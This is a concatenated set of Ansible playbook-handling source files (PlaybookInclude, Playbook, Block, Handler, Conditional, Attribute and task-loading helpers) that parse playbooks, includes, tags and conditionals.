        return PlaybookInclude().load_data(ds=data, basedir=basedir, variable_manager=variable_manager, loader=loader)

    def load_data(self, ds, basedir, variable_manager=None, loader=None):
        '''
        Overrides the base load_data(), as we're actually going to return a new
        Playbook() object rather than a PlaybookInclude object
        '''

        # import here to avoid a dependency loop
        from ansible.playbook import Playbook

        # first, we use the original parent method to correctly load the object
        # via the load_data/preprocess_data system we normally use for other
        # playbook objects
        new_obj = super(PlaybookInclude, self).load_data(ds, variable_manager, loader)

        all_vars = self.vars.copy()
        if variable_manager:
            all_vars.update(variable_manager.get_vars(loader=loader))

        templar = Templar(loader=loader, variables=all_vars)

        try:
            forward_conditional = False
            if not new_obj.evaluate_conditional(templar=templar, all_vars=all_vars):
                return None
        except AnsibleError:
            # conditional evaluation raised an error, so we set a flag to indicate
            # we need to forward the conditionals on to the included play(s)
            forward_conditional = True

        # then we use the object to load a Playbook
        pb = Playbook(loader=loader)

        file_name = templar.template(new_obj.include)
        if not os.path.isabs(file_name):
            file_name = os.path.join(basedir, file_name)

        pb._load_playbook_data(file_name=file_name, variable_manager=variable_manager)

        # finally, update each loaded playbook entry with any variables specified
        # on the included playbook and/or any tags which may have been set
        for entry in pb._entries:
            temp_vars = entry.vars.copy()
            temp_vars.update(new_obj.vars)
            param_tags = temp_vars.pop('tags', None)
            if param_tags is not None:
                entry.tags.extend(param_tags.split(','))
            entry.vars = temp_vars
            entry.tags = list(set(entry.tags).union(new_obj.tags))
            if entry._included_path is None:
                entry._included_path = os.path.dirname(file_name)

            # Check to see if we need to forward the conditionals on to the included
            # plays. If so, we can take a shortcut here and simply prepend them to
            # those attached to each block (if any)
            if forward_conditional:
                for task_block in entry.pre_tasks + entry.roles + entry.tasks + entry.post_tasks:
                    task_block.when = self.when[:] + task_block.when

        return pb

    def preprocess_data(self, ds):
        '''
        Regorganizes the data for a PlaybookInclude datastructure to line
        up with what we expect the proper attributes to be
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        for (k,v) in iteritems(ds):
            if k == 'include':
                self._preprocess_include(ds, new_ds, k, v)
            else:
                # some basic error checking, to make sure vars are properly
                # formatted and do not conflict with k=v parameters
                if k == 'vars':
                    if 'vars' in new_ds:
                        raise AnsibleParserError("include parameters cannot be mixed with 'vars' entries for include statements", obj=ds)
                    elif not isinstance(v, dict):
                        raise AnsibleParserError("vars for include statements must be specified as a dictionary", obj=ds)
                new_ds[k] = v

        return super(PlaybookInclude, self).preprocess_data(new_ds)

    def _preprocess_include(self, ds, new_ds, k, v):
        '''
        Splits the include line up into filename and parameters
        '''

        if v is None:
           raise AnsibleParserError("include parameter is missing", obj=ds)

        # The include line must include at least one item, which is the filename
        # to include. Anything after that should be regarded as a parameter to the include
        items = split_args(v)
        if len(items) == 0:
            raise AnsibleParserError("include statements must specify the file name to include", obj=ds)
        else:
            new_ds['include'] = items[0]
            if len(items) > 1:
                # rejoin the parameter portion of the arguments and
                # then use parse_kv() to get a dict of params back
                params = parse_kv(" ".join(items[1:]))
                if 'tags' in params:
                    new_ds['tags'] = params.pop('tags')
                if 'vars' in new_ds:
                    raise AnsibleParserError("include parameters cannot be mixed with 'vars' entries for include statements", obj=ds)
                new_ds['vars'] = params







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.errors import AnsibleParserError
from ansible.playbook.play import Play
from ansible.playbook.playbook_include import PlaybookInclude
from ansible.plugins import get_all_plugin_loaders
from ansible import constants as C

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


__all__ = ['Playbook']


class Playbook:

    def __init__(self, loader):
        # Entries in the datastructure of a playbook may
        # be either a play or an include statement
        self._entries = []
        self._basedir = os.getcwd()
        self._loader  = loader
        self._file_name = None

    @staticmethod
    def load(file_name, variable_manager=None, loader=None):
        pb = Playbook(loader=loader)
        pb._load_playbook_data(file_name=file_name, variable_manager=variable_manager)
        return pb

    def _load_playbook_data(self, file_name, variable_manager):

        if os.path.isabs(file_name):
            self._basedir = os.path.dirname(file_name)
        else:
            self._basedir = os.path.normpath(os.path.join(self._basedir, os.path.dirname(file_name)))

        # set the loaders basedir
        cur_basedir = self._loader.get_basedir()
        self._loader.set_basedir(self._basedir)

        self._file_name = file_name

        # dynamically load any plugins from the playbook directory
        for name, obj in get_all_plugin_loaders():
            if obj.subdir:
                plugin_path = os.path.join(self._basedir, obj.subdir)
                if os.path.isdir(plugin_path):
                    obj.add_directory(plugin_path)

        ds = self._loader.load_from_file(os.path.basename(file_name))
        if not isinstance(ds, list):
            # restore the basedir in case this error is caught and handled
            self._loader.set_basedir(cur_basedir)
            raise AnsibleParserError("playbooks must be a list of plays", obj=ds)

        # Parse the playbook entries. For plays, we simply parse them
        # using the Play() object, and includes are parsed using the
        # PlaybookInclude() object
        for entry in ds:
            if not isinstance(entry, dict):
                # restore the basedir in case this error is caught and handled
                self._loader.set_basedir(cur_basedir)
                raise AnsibleParserError("playbook entries must be either a valid play or an include statement", obj=entry)

            if 'include' in entry:
                pb = PlaybookInclude.load(entry, basedir=self._basedir, variable_manager=variable_manager, loader=self._loader)
                if pb is not None:
                    self._entries.extend(pb._entries)
                else:
                    display.display("skipping playbook include '%s' due to conditional test failure" % entry.get('include', entry), color=C.COLOR_SKIP)
            else:
                entry_obj = Play.load(entry, variable_manager=variable_manager, loader=self._loader)
                self._entries.append(entry_obj)

        # we're done, so restore the old basedir in the loader
        self._loader.set_basedir(cur_basedir)

    def get_loader(self):
        return self._loader

    def get_plays(self):
        return self._entries[:]






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleParserError
from ansible.playbook.attribute import Attribute, FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.become import Become
from ansible.playbook.conditional import Conditional
from ansible.playbook.helpers import load_list_of_tasks
from ansible.playbook.role import Role
from ansible.playbook.taggable import Taggable

class Block(Base, Become, Conditional, Taggable):

    _block  = FieldAttribute(isa='list', default=[])
    _rescue = FieldAttribute(isa='list', default=[])
    _always = FieldAttribute(isa='list', default=[])
    _delegate_to = FieldAttribute(isa='list')
    _delegate_facts = FieldAttribute(isa='bool', default=False)
    _any_errors_fatal = FieldAttribute(isa='bool')

    # for future consideration? this would be functionally
    # similar to the 'else' clause for exceptions
    #_otherwise = FieldAttribute(isa='list')

    def __init__(self, play=None, parent_block=None, role=None, task_include=None, use_handlers=False, implicit=False):
        self._play         = play
        self._role         = role
        self._parent       = None
        self._dep_chain    = None
        self._use_handlers = use_handlers
        self._implicit     = implicit

        if task_include:
            self._parent = task_include
        elif parent_block:
            self._parent = parent_block

        super(Block, self).__init__()

    def get_vars(self):
        '''
        Blocks do not store variables directly, however they may be a member
        of a role or task include which does, so return those if present.
        '''

        all_vars = self.vars.copy()

        if self._parent:
            all_vars.update(self._parent.get_vars())

        return all_vars

    @staticmethod
    def load(data, play=None, parent_block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
        implicit = not Block.is_block(data)
        b = Block(play=play, parent_block=parent_block, role=role, task_include=task_include, use_handlers=use_handlers, implicit=implicit)
        return b.load_data(data, variable_manager=variable_manager, loader=loader)

    @staticmethod
    def is_block(ds):
        is_block = False
        if isinstance(ds, dict):
            for attr in ('block', 'rescue', 'always'):
                if attr in ds:
                    is_block = True
                    break
        return is_block

    def preprocess_data(self, ds):
        '''
        If a simple task is given, an implicit block for that single task
        is created, which goes in the main portion of the block
        '''

        if not Block.is_block(ds):
            if isinstance(ds, list):
                return super(Block, self).preprocess_data(dict(block=ds))
            else:
                return super(Block, self).preprocess_data(dict(block=[ds]))

        return super(Block, self).preprocess_data(ds)

    def _load_block(self, attr, ds):
        try:
            return load_list_of_tasks(
                ds,
                play=self._play,
                block=self,
                role=self._role,
                task_include=None,
                variable_manager=self._variable_manager,
                loader=self._loader,
                use_handlers=self._use_handlers,
            )
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_rescue(self, attr, ds):
        try:
            return load_list_of_tasks(
                ds,
                play=self._play,
                block=self,
                role=self._role,
                task_include=None,
                variable_manager=self._variable_manager,
                loader=self._loader,
                use_handlers=self._use_handlers,
            )
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_always(self, attr, ds):
        try:
            return load_list_of_tasks(
                ds, 
                play=self._play,
                block=self, 
                role=self._role, 
                task_include=None,
                variable_manager=self._variable_manager, 
                loader=self._loader, 
                use_handlers=self._use_handlers,
            )
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def get_dep_chain(self):
        if self._dep_chain is None:
            if self._parent:
                return self._parent.get_dep_chain()
            else:
                return None
        else:
            return self._dep_chain[:]

    def copy(self, exclude_parent=False, exclude_tasks=False):
        def _dupe_task_list(task_list, new_block):
            new_task_list = []
            for task in task_list:
                new_task = task.copy(exclude_parent=True)
                if task._parent:
                    new_task._parent = task._parent.copy(exclude_tasks=True)
                    # go up the parentage tree until we find an
                    # object without a parent and make this new
                    # block their parent
                    cur_obj = new_task
                    while cur_obj._parent:
                        cur_obj = cur_obj._parent
                    cur_obj._parent = new_block
                else:
                    new_task._parent = new_block
                new_task_list.append(new_task)
            return new_task_list

        new_me = super(Block, self).copy()
        new_me._play         = self._play
        new_me._use_handlers = self._use_handlers

        if self._dep_chain is not None:
            new_me._dep_chain = self._dep_chain[:]

        new_me._parent = None
        if self._parent and not exclude_parent:
            new_me._parent = self._parent.copy(exclude_tasks=exclude_tasks)

        if not exclude_tasks:
            new_me.block  = _dupe_task_list(self.block or [], new_me)
            new_me.rescue = _dupe_task_list(self.rescue or [], new_me)
            new_me.always = _dupe_task_list(self.always or [], new_me)

        new_me._role = None
        if self._role:
            new_me._role = self._role

        new_me.validate()
        return new_me

    def serialize(self):
        '''
        Override of the default serialize method, since when we're serializing
        a task we don't want to include the attribute list of tasks.
        '''

        data = dict()
        for attr in self._get_base_attributes():
            if attr not in ('block', 'rescue', 'always'):
                data[attr] = getattr(self, attr)

        data['dep_chain'] = self.get_dep_chain()

        if self._role is not None:
            data['role'] = self._role.serialize()
        if self._parent is not None:
            data['parent'] = self._parent.copy(exclude_tasks=True).serialize()
            data['parent_type'] = self._parent.__class__.__name__

        return data

    def deserialize(self, data):
        '''
        Override of the default deserialize method, to match the above overridden
        serialize method
        '''

        # import is here to avoid import loops
        from ansible.playbook.task import Task
        from ansible.playbook.task_include import TaskInclude
        from ansible.playbook.handler_task_include import HandlerTaskInclude

        # we don't want the full set of attributes (the task lists), as that
        # would lead to a serialize/deserialize loop
        for attr in self._get_base_attributes():
            if attr in data and attr not in ('block', 'rescue', 'always'):
                setattr(self, attr, data.get(attr))

        self._dep_chain = data.get('dep_chain', None)

        # if there was a serialized role, unpack it too
        role_data = data.get('role')
        if role_data:
            r = Role()
            r.deserialize(role_data)
            self._role = r

        parent_data = data.get('parent')
        if parent_data:
            parent_type = data.get('parent_type')
            if parent_type == 'Block':
                p = Block()
            elif parent_type == 'TaskInclude':
                p = TaskInclude()
            elif parent_type == 'HandlerTaskInclude':
                p = HandlerTaskInclude()
            p.deserialize(pb_data)
            self._parent = p
            self._dep_chain = self._parent.get_dep_chain()

    def evaluate_conditional(self, templar, all_vars):
        dep_chain = self.get_dep_chain()
        if dep_chain:
            for dep in dep_chain:
                if not dep.evaluate_conditional(templar, all_vars):
                    return False
        if self._parent is not None:
            if not self._parent.evaluate_conditional(templar, all_vars):
                return False
        return super(Block, self).evaluate_conditional(templar, all_vars)

    def set_loader(self, loader):
        self._loader = loader
        if self._parent:
            self._parent.set_loader(loader)
        elif self._role:
            self._role.set_loader(loader)

        dep_chain = self.get_dep_chain()
        if dep_chain:
            for dep in dep_chain:
                dep.set_loader(loader)

    def _get_parent_attribute(self, attr, extend=False):
        '''
        Generic logic to get the attribute or parent attribute for a block value.
        '''

        value = None
        try:
            value = self._attributes[attr]

            if self._parent and (value is None or extend):
                parent_value = getattr(self._parent, attr, None)
                if extend:
                    value = self._extend_value(value, parent_value)
                else:
                    value = parent_value
            if self._role and (value is None or extend) and hasattr(self._role, attr):
                parent_value = getattr(self._role, attr, None)
                if extend:
                    value = self._extend_value(value, parent_value)
                else:
                    value = parent_value

                dep_chain = self.get_dep_chain()
                if dep_chain and (value is None or extend):
                    dep_chain.reverse()
                    for dep in dep_chain:
                        dep_value = getattr(dep, attr, None)
                        if extend:
                            value = self._extend_value(value, dep_value)
                        else:
                            value = dep_value

                        if value is not None and not extend:
                            break
            if self._play and (value is None or extend) and hasattr(self._play, attr):
                parent_value = getattr(self._play, attr, None)
                if extend:
                    value = self._extend_value(value, parent_value)
                else:
                    value = parent_value
        except KeyError as e:
            pass

        return value

    def _get_attr_environment(self):
        '''
        Override for the 'tags' getattr fetcher, used from Base.
        '''
        environment = self._attributes['environment']
        parent_environment = self._get_parent_attribute('environment', extend=True)
        if parent_environment is not None:
            environment = self._extend_value(environment, parent_environment)

        return environment

    def _get_attr_any_errors_fatal(self):
        '''
        Override for the 'tags' getattr fetcher, used from Base.
        '''
        return self._get_parent_attribute('any_errors_fatal')

    def filter_tagged_tasks(self, play_context, all_vars):
        '''
        Creates a new block, with task lists filtered based on the tags contained
        within the play_context object.
        '''

        def evaluate_and_append_task(target):
            tmp_list = []
            for task in target:
                if isinstance(task, Block):
                    tmp_list.append(evaluate_block(task))
                elif task.action == 'meta' \
                or (task.action == 'include' and task.evaluate_tags([], play_context.skip_tags, all_vars=all_vars)) \
                or task.evaluate_tags(play_context.only_tags, play_context.skip_tags, all_vars=all_vars):
                    tmp_list.append(task)
            return tmp_list

        def evaluate_block(block):
            new_block = self.copy(exclude_tasks=True)
            new_block.block  = evaluate_and_append_task(block.block)
            new_block.rescue = evaluate_and_append_task(block.rescue)
            new_block.always = evaluate_and_append_task(block.always)
            return new_block

        return evaluate_block(self)

    def has_tasks(self):
        return len(self.block) > 0 or len(self.rescue) > 0 or len(self.always) > 0

    def get_include_params(self):
        if self._parent:
            return self._parent.get_include_params()
        else:
            return dict()

    def all_parents_static(self):
        '''
        Determine if all of the parents of this block were statically loaded
        or not. Since Task/TaskInclude objects may be in the chain, they simply
        call their parents all_parents_static() method. Only Block objects in
        the chain check the statically_loaded value of the parent.
        '''
        from ansible.playbook.task_include import TaskInclude
        if self._parent:
            if isinstance(self._parent, TaskInclude) and not self._parent.statically_loaded:
                return False
            return self._parent.all_parents_static()

        return True







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.task import Task

class Handler(Task):

    _listen = FieldAttribute(isa='list')

    def __init__(self, block=None, role=None, task_include=None):
        self._flagged_hosts = []

        super(Handler, self).__init__(block=block, role=role, task_include=task_include)

    def __repr__(self):
        ''' returns a human readable representation of the handler '''
        return "HANDLER: %s" % self.get_name()

    @staticmethod
    def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None):
        t = Handler(block=block, role=role, task_include=task_include)
        return t.load_data(data, variable_manager=variable_manager, loader=loader)

    def flag_for_host(self, host):
        #assert instanceof(host, Host)
        if host not in self._flagged_hosts:
            self._flagged_hosts.append(host)

    def has_triggered(self, host):
        return host in self._flagged_hosts

    def serialize(self):
        result = super(Handler, self).serialize()
        result['is_handler'] = True
        return result






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from jinja2.exceptions import UndefinedError

from ansible.compat.six import text_type
from ansible.errors import AnsibleError, AnsibleUndefinedVariable
from ansible.playbook.attribute import FieldAttribute
from ansible.template import Templar

class Conditional:

    '''
    This is a mix-in class, to be used with Base to allow the object
    to be run conditionally when a condition is met or skipped.
    '''

    _when = FieldAttribute(isa='list', default=[])

    def __init__(self, loader=None):
        # when used directly, this class needs a loader, but we want to
        # make sure we don't trample on the existing one if this class
        # is used as a mix-in with a playbook base class
        if not hasattr(self, '_loader'):
            if loader is None:
                raise AnsibleError("a loader must be specified when using Conditional() directly")
            else:
                self._loader = loader
        super(Conditional, self).__init__()

    def _validate_when(self, attr, name, value):
        if not isinstance(value, list):
            setattr(self, name, [ value ])

    def evaluate_conditional(self, templar, all_vars):
        '''
        Loops through the conditionals set on this object, returning
        False if any of them evaluate as such.
        '''

        # since this is a mix-in, it may not have an underlying datastructure
        # associated with it, so we pull it out now in case we need it for
        # error reporting below
        ds = None
        if hasattr(self, '_ds'):
            ds = getattr(self, '_ds')

        try:
            for conditional in self.when:
                if not self._check_conditional(conditional, templar, all_vars):
                    return False
        except Exception as e:
            raise AnsibleError("The conditional check '%s' failed. The error was: %s" % (conditional, e), obj=ds)

        return True

    def _check_conditional(self, conditional, templar, all_vars):
        '''
        This method does the low-level evaluation of each conditional
        set on this object, using jinja2 to wrap the conditionals for
        evaluation.
        '''

        original = conditional
        if conditional is None or conditional == '':
            return True

        if conditional in all_vars and '-' not in text_type(all_vars[conditional]):
            conditional = all_vars[conditional]

        # make sure the templar is using the variables specified with this method
        templar.set_available_variables(variables=all_vars)

        try:
            conditional = templar.template(conditional)
            if not isinstance(conditional, text_type) or conditional == "":
                return conditional

            # a Jinja2 evaluation that results in something Python can eval!
            presented = "{%% if %s %%} True {%% else %%} False {%% endif %%}" % conditional
            conditional = templar.template(presented)
            val = conditional.strip()
            if val == "True":
                return True
            elif val == "False":
                return False
            else:
                raise AnsibleError("unable to evaluate conditional: %s" % original)
        except (AnsibleUndefinedVariable, UndefinedError) as e:
            # the templating failed, meaning most likely a
            # variable was undefined. If we happened to be
            # looking for an undefined variable, return True,
            # otherwise fail
            if "is undefined" in original:
                return True
            elif "is defined" in original:
                return False
            else:
                raise AnsibleError("error while evaluating conditional (%s): %s" % (original, e))







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from copy import deepcopy

class Attribute:

    def __init__(self, isa=None, private=False, default=None, required=False, listof=None, priority=0, class_type=None, always_post_validate=False):

        self.isa = isa
        self.private = private
        self.default = default
        self.required = required
        self.listof = listof
        self.priority = priority
        self.class_type = class_type
        self.always_post_validate = always_post_validate

        if default is not None and self.isa in ('list', 'dict', 'set'):
            self.default = deepcopy(default)
        else:
            self.default = default

    def __eq__(self, other):
        return other.priority == self.priority

    def __ne__(self, other):
        return other.priority != self.priority

    # NB: higher priority numbers sort first

    def __lt__(self, other):
        return other.priority < self.priority

    def __gt__(self, other):
        return other.priority > self.priority

    def __le__(self, other):
        return other.priority <= self.priority

    def __ge__(self, other):
        return other.priority >= self.priority


class FieldAttribute(Attribute):
    pass






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible import constants as C
from ansible.compat.six import string_types
from ansible.errors import AnsibleParserError, AnsibleUndefinedVariable, AnsibleFileNotFound
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject, AnsibleSequence

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


def load_list_of_blocks(ds, play, parent_block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of mixed task/block data (parsed from YAML),
    return a list of Block() objects, where implicit blocks
    are created for each bare Task.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block

    assert isinstance(ds, (list, type(None)))

    block_list = []
    if ds:
        for block_ds in ds:
            b = Block.load(
                block_ds,
                play=play,
                parent_block=parent_block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader
            )
            # Implicit blocks are created by bare tasks listed in a play without
            # an explicit block statement. If we have two implicit blocks in a row,
            # squash them down to a single block to save processing time later.
            if b._implicit and len(block_list) > 0 and block_list[-1]._implicit:
                for t in b.block:
                    t._block = block_list[-1]
                block_list[-1].block.extend(b.block)
            else:
                block_list.append(b)

    return block_list


def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError("You cannot use 'static' on an include with a loop", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      "Error when evaluating variable in include name: %s.\n\n" \
                                      "When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n" \
                                      "or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n" \
                                      "sources like group or host vars." % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError("included task files must contain a list of tasks", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.display("statically included: %s" % include_file, color=C.COLOR_SKIP)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            "Included file '%s' not found, however since this include is not " \
                            "explicitly marked as 'static: yes', we will try and include it dynamically " \
                            "later. In the future, this will be an error unless 'static: no' is used " \
                            "on the include task. If you do not want missing includes to be considered " \
                            "dynamic, use 'static: yes' on the include or set the global ansible.cfg " \
                            "options to make all inclues static for tasks and/or handlers" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=t.copy(),
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                "Include tasks should not specify tags in more than one way (both via args and directly on the task). " \
                                "Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated("You should not specify tags in the include parameters. All tags should be specified using the task-level option")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list


def load_list_of_roles(ds, play, current_role_path=None, variable_manager=None, loader=None):
    '''
    Loads and returns a list of RoleInclude objects from the datastructure
    list of role definitions
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.role.include import RoleInclude

    assert isinstance(ds, list)

    roles = []
    for role_def in ds:
        i = RoleInclude.load(role_def, play=play, current_role_path=current_role_path, variable_manager=variable_manager, loader=loader)
        roles.append(i)

    return roles







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
